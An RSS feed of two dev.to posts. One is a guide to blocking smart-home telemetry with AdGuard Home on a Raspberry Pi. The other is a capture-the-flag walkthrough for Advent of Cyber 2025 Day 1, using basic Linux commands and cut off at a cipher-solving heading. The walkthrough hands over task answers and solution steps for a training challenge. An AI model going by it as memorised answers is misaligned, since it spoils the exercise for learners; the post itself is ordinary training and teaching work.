<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: yuribe</title>
    <description>The latest articles on DEV Community by yuribe (@yuribe).</description>
    <link>https://dev.to/yuribe</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3848342%2F895f14d0-672e-420e-98ea-7a60b669ca2f.jpg</url>
      <title>DEV Community: yuribe</title>
      <link>https://dev.to/yuribe</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/yuribe"/>
    <language>en</language>
    <item>
      <title>Your Smart Home Is Snitching On You: DNS Telemetry Blocking with AdGuard Home</title>
      <dc:creator>yuribe</dc:creator>
      <pubDate>Sat, 28 Mar 2026 23:33:23 +0000</pubDate>
      <link>https://dev.to/yuribe/your-smart-home-is-snitching-on-you-dns-telemetry-blocking-with-adguard-home-30e1</link>
      <guid>https://dev.to/yuribe/your-smart-home-is-snitching-on-you-dns-telemetry-blocking-with-adguard-home-30e1</guid>
      <description>&lt;h2&gt;
  
  
  The Problem Nobody Talks About
&lt;/h2&gt;

&lt;p&gt;You buy a Philips Hue bulb. A &lt;em&gt;lightbulb&lt;/em&gt;. You screw it in, connect it to the app, and think nothing of it.&lt;/p&gt;

&lt;p&gt;What you don't see: every 2 minutes, that lightbulb sends a DNS request to &lt;code&gt;diag.meethue.com&lt;/code&gt;. Not when you turn it on. Not when something breaks. Every. Two. Minutes. Around the clock.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhzcvcwqpn1a6d4vhq8s4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhzcvcwqpn1a6d4vhq8s4.png" alt="Query log showing multiple DNS requests in six minutes" width="800" height="861"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That's one PC, one Echo, one iPhone, and one lamp in six minutes. This is the floor, not the ceiling. AdGuard only sees DNS requests. Apps that hardcode IPs or use HTTPS certificate pinning bypass this entirely and you'd never know.&lt;/p&gt;

&lt;p&gt;The good news: blocking at DNS level is the most efficient way to handle this. One device, whole network covered.&lt;/p&gt;




&lt;h2&gt;
  
  
  How DNS Blocking Works
&lt;/h2&gt;

&lt;p&gt;When any device on your network wants to reach &lt;code&gt;diag.meethue.com&lt;/code&gt;, it first asks a DNS resolver: &lt;em&gt;"What's the IP for this domain?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Normally your router forwards that to your ISP's DNS server, which returns an IP, and the connection goes through.&lt;/p&gt;

&lt;p&gt;AdGuard sits between your devices and the internet as a &lt;strong&gt;local DNS resolver&lt;/strong&gt;. When a request matches a blocklist entry, AdGuard returns nothing (or &lt;code&gt;0.0.0.0&lt;/code&gt;) instead of a real IP. The device gets no address, the connection never happens.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Normal:   Device -&amp;gt; Router -&amp;gt; ISP DNS -&amp;gt; Real IP -&amp;gt; Connection ✓
Blocked:  Device -&amp;gt; AdGuard -&amp;gt; 0.0.0.0 -&amp;gt; Connection ✗
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No IP, no connection. Simple and effective.&lt;/p&gt;




&lt;h2&gt;
  
  
  Setup: AdGuard on Raspberry Pi
&lt;/h2&gt;

&lt;p&gt;I run AdGuard Home on a Raspberry Pi as part of my home server stack. The full setup lives in a Docker Compose file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;adguard&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;adguard/adguardhome:latest&lt;/span&gt;
    &lt;span class="na"&gt;container_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;adguard&lt;/span&gt;
    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unless-stopped&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;53:53/tcp&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;53:53/udp&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;3001:3000/tcp&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;8889:80/tcp&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;adguard_work:/opt/adguardhome/work&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;adguard_conf:/opt/adguardhome/conf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;After &lt;code&gt;docker compose up -d&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open &lt;code&gt;http://&amp;lt;raspi-ip&amp;gt;:3000&lt;/code&gt; for initial setup&lt;/li&gt;
&lt;li&gt;Set DNS listen port to &lt;code&gt;53&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Set admin interface to whatever port you want (I use &lt;code&gt;8889&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Point your router's DNS server to the Raspberry Pi IP&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That last step is key. Every device on the network automatically uses AdGuard, no per-device configuration needed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fritz!Box: Setting the DNS Server
&lt;/h3&gt;

&lt;p&gt;If you're running a Fritz!Box, the setting is slightly buried:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open &lt;code&gt;http://fritz.box&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Home Network -&amp;gt; Network -&amp;gt; Network Settings -&amp;gt; Advanced Network Settings -&amp;gt; IPv4 Settings&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Set &lt;strong&gt;Local DNS Server&lt;/strong&gt; to your Raspberry Pi IP (e.g. &lt;code&gt;192.168.178.85&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwckaqvmfd0z48mt90nni.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwckaqvmfd0z48mt90nni.png" alt="Fritz!Box advanced network settings" width="800" height="456"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwee8fh26dzg6ytz4b5t2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwee8fh26dzg6ytz4b5t2.png" alt="Local DNS server field set to Raspberry Pi IP" width="800" height="417"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Save and done. Every device that gets its IP via DHCP from the Fritz!Box will now use AdGuard as its DNS resolver automatically, no configuration needed on individual devices.&lt;/p&gt;




&lt;h2&gt;
  
  
  Filterlists: Which Ones and Why
&lt;/h2&gt;

&lt;p&gt;AdGuard ships with its own list, but the real power comes from community lists. Here are the most important ones I run:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;List&lt;/th&gt;
&lt;th&gt;Blocks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AdGuard DNS filter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ads, trackers, general purpose&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OISD Blocklist Big&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Large general blocklist, low false positives&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HaGeZi's Pro Blocklist&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Aggressive tracking and telemetry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HaGeZi's Windows/Office Tracker Blocklist&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Microsoft-specific telemetry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HaGeZi's Apple Tracker Blocklist&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Apple-specific telemetry&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Why HaGeZi specifically?&lt;/strong&gt; It's actively maintained, has separate lists per vendor so you can tune aggressiveness, and explicitly targets telemetry, not just ads.&lt;/p&gt;

&lt;p&gt;Add lists under &lt;strong&gt;Filters -&amp;gt; DNS Blocklists -&amp;gt; Add blocklist -&amp;gt; Add a custom list&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmu9942594e0zdk8cut3j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmu9942594e0zdk8cut3j.png" alt="AdGuard blocklist settings page" width="800" height="540"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1nwc00558frjsl6muvhh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1nwc00558frjsl6muvhh.png" alt="Add custom blocklist modal" width="457" height="630"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;HaGeZi lists: &lt;code&gt;https://github.com/hagezi/dns-blocklists&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Local DNS: Custom Domains for Home Services
&lt;/h2&gt;

&lt;p&gt;A bonus feature: AdGuard doubles as a local DNS server. Instead of remembering &lt;code&gt;192.168.178.85:8096&lt;/code&gt; for Jellyfin, you can set up DNS rewrites:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;jellyfin.lan  -&amp;gt; 192.168.178.85
sonarr.lan    -&amp;gt; 192.168.178.85
radarr.lan    -&amp;gt; 192.168.178.85
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now &lt;code&gt;http://jellyfin.lan&lt;/code&gt; works from any device on the network. The &lt;code&gt;.lan&lt;/code&gt; TLD is local-only, no external DNS ever sees it.&lt;/p&gt;

&lt;p&gt;Set up under &lt;strong&gt;Filters -&amp;gt; DNS Rewrites&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you use Nginx Proxy Manager or another reverse proxy, point all &lt;code&gt;.lan&lt;/code&gt; rewrites at the proxy's IP, not the service directly. The proxy handles routing from there.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  What Still Gets Through
&lt;/h2&gt;

&lt;p&gt;DNS blocking is not a complete solution. Several things bypass it:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Hardcoded IPs&lt;/strong&gt;&lt;br&gt;
If an app skips DNS entirely and connects directly to &lt;code&gt;216.58.213.14&lt;/code&gt; instead of &lt;code&gt;google.com&lt;/code&gt;, AdGuard never sees it. Some IoT firmware does this deliberately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. HTTPS/Certificate Pinning&lt;/strong&gt;&lt;br&gt;
Apps that pin their TLS certificates can't be intercepted by a local proxy. You can block the domain, but if they fall back to a hardcoded IP you're blind.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. DNS over HTTPS (DoH) / DNS over TLS (DoT)&lt;/strong&gt;&lt;br&gt;
Some devices (newer Android, Firefox) use encrypted DNS by default, bypassing your local resolver completely. Solution: block known DoH providers at the firewall level, or configure AdGuard as the upstream DoH server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. IPv6&lt;/strong&gt;&lt;br&gt;
If you block &lt;code&gt;example.com&lt;/code&gt; for IPv4 (A records) but forget the AAAA record, IPv6-capable devices connect anyway. AdGuard handles both by default as long as IPv6 isn't disabled on your Pi.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The bottom line:&lt;/strong&gt; What AdGuard shows you in the query log is the &lt;em&gt;minimum&lt;/em&gt; amount of telemetry leaving your network, not the total.&lt;/p&gt;




&lt;h2&gt;
  
  
  Results
&lt;/h2&gt;

&lt;p&gt;After running this setup for a week, a few things stand out:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyzyic4qoy1mhr89b635z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyzyic4qoy1mhr89b635z.png" alt="AdGuard Home dashboard statistics" width="800" height="601"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Amazon Echo is by far the most aggressive device on the network. Multiple unique hash-based subdomains under &lt;code&gt;minerva.devices.a2z.com&lt;/code&gt; get blocked every few minutes, even at 3am.&lt;/li&gt;
&lt;li&gt;NordVPN, ironically a privacy tool, sends telemetry to &lt;code&gt;applytics.nordvpn.com&lt;/code&gt; regularly.&lt;/li&gt;
&lt;li&gt;Mozilla Firefox phones home to &lt;code&gt;incoming.telemetry.mozilla.org&lt;/code&gt; and &lt;code&gt;ads.mozilla.org&lt;/code&gt; despite having telemetry "disabled" in settings.&lt;/li&gt;
&lt;li&gt;The Philips Hue Bridge contacts &lt;code&gt;diag.meethue.com&lt;/code&gt; on a precise ~2 minute interval. Clockwork.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of this requires you to "do" anything. It happens in the background, on every device, all the time.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;DNS-level blocking is low effort, high reward. One setup covers every device.&lt;/li&gt;
&lt;li&gt;HaGeZi lists are worth adding on top of the defaults.&lt;/li&gt;
&lt;li&gt;AdGuard's query log is a surprisingly useful visibility tool.&lt;/li&gt;
&lt;li&gt;Don't trust "telemetry disabled" toggles in apps. Verify at the network level.&lt;/li&gt;
&lt;li&gt;DNS blocking has real limits. It's one layer, not a complete solution.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>privacy</category>
      <category>homelab</category>
      <category>dns</category>
      <category>selfhosted</category>
    </item>
    <item>
      <title>Advent of Cyber 2025 - Day 1: Linux CLI (Shell's Bells)</title>
      <dc:creator>yuribe</dc:creator>
      <pubDate>Sat, 28 Mar 2026 23:30:42 +0000</pubDate>
      <link>https://dev.to/yuribe/advent-of-cyber-2025-day-1-linux-cli-shells-bells-2253</link>
      <guid>https://dev.to/yuribe/advent-of-cyber-2025-day-1-linux-cli-shells-bells-2253</guid>
      <description>&lt;h2&gt;
  
  
  Challenge Overview
&lt;/h2&gt;

&lt;p&gt;McSkidy has been kidnapped, and Wareville's defenses are compromised. The investigation starts on &lt;strong&gt;tbfc-web01&lt;/strong&gt;, a Linux server processing Christmas wishlists. Somewhere within its data may lie the truth: traces of McSkidy's final actions, or perhaps the clues to King Malhare's twisted vision for EASTMAS.&lt;/p&gt;




&lt;h3&gt;
  
  
  Task 1: Which CLI command would you use to list a directory?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;ls&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Task 2: What flag did you see inside of McSkidy's guide?
&lt;/h3&gt;

&lt;p&gt;Started by listing directory contents with &lt;code&gt;ls -la&lt;/code&gt; to reveal hidden files:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fccg1fvwawlsbc0glq84r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fccg1fvwawlsbc0glq84r.png" alt="first flag" width="800" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Found the hidden &lt;code&gt;.guide.txt&lt;/code&gt; file and read it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; .guide.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The guide contained a warning about King Malhare and instructions to check logs and shell configurations.&lt;/p&gt;




&lt;h3&gt;
  
  
  Task 3: Which command helped you filter the logs for failed logins?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;grep&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Task 4: What flag did you see inside the Eggstrike script?
&lt;/h3&gt;

&lt;p&gt;Navigated to the socmas directory structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /home/socmas/2025/
&lt;span class="nb"&gt;cat &lt;/span&gt;eggstrike.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script showed Sir Carrotbane's sabotage attempt to replace the Christmas wishlist with EASTMAS propaganda.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgofje2agf3as8lm8b9ea.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgofje2agf3as8lm8b9ea.png" alt="second flag" width="735" height="460"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Task 5: Which command would you run to switch to the root user?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;sudo su&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Task 6: What flag did Sir Carrotbane leave in the root bash history?
&lt;/h3&gt;

&lt;p&gt;After switching to root, checked command history:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;history&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4gqymrcnnmosys9u67a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4gqymrcnnmosys9u67a.png" alt="third flag" width="800" height="293"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Side Quest 1
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;/home/mcskidy/Documents/read-me-please.txt&lt;/code&gt; revealed a puzzle involving three "easter eggs" that combine into a decryption passphrase.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhxiptmyg9tytlx8qyd0z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhxiptmyg9tytlx8qyd0z.png" alt="side quest 1" width="800" height="705"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Easter Egg 1: Environment Variables
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Riddle:&lt;/strong&gt; "I ride with your session, not with your chest of files. Open the little bag your shell carries when you arrive."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;printenv&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0t6xbrzsq26rpuuhhsd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0t6xbrzsq26rpuuhhsd.png" alt="first hint" width="555" height="194"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Easter Egg 2: Git History
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Riddle:&lt;/strong&gt; "The tree shows today; the rings remember yesterday. Read the ledger's older pages."&lt;/p&gt;

&lt;p&gt;Located a backup git repository in the home directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ~/.secret_git.bak
git log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examined an older commit that added a private note:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git show b65ff21ee1fb6b5d27894a6ae7bbfbf409e33fda
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5wnyuumeacqbbonx5vww.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5wnyuumeacqbbonx5vww.png" alt="second hint" width="800" height="587"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Easter Egg 3: Steganography
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Riddle:&lt;/strong&gt; "When pixels sleep, their tails sometimes whisper plain words. Listen to the tail."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home/eddi_knapp/Pictures/
strings /home/eddi_knapp/Pictures/.easter_egg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuxe3xj4fjvx0kwe3idk3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuxe3xj4fjvx0kwe3idk3.png" alt="hint 3" width="627" height="472"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Decryption
&lt;/h3&gt;

&lt;p&gt;Combined the three fragments to decrypt McSkidy's GPG-encrypted note:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gpg &lt;span class="nt"&gt;-d&lt;/span&gt; mcskidy_note.txt.gpg &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; mcskidy_note.txt
&lt;span class="nb"&gt;cat &lt;/span&gt;mcskidy_note.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmlipfsczm6yexefu7191.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmlipfsczm6yexefu7191.png" alt="hidden message" width="800" height="368"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The decrypted note revealed instructions about a corrupted wishlist on the website (port 8080), including a specific list of security tools that needed to be in the wishlist file.&lt;/p&gt;

&lt;p&gt;After correcting the wishlist, accessed the website on port 8080. The site displayed a "gibberish message" section with a long base64-encoded ciphertext and instructions to decode it with the UNLOCK_KEY.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2nyjbla66ojecpre7ihb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2nyjbla66ojecpre7ihb.png" alt="website hint" width="800" height="603"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Breaking the Cipher
&lt;/h3&gt;

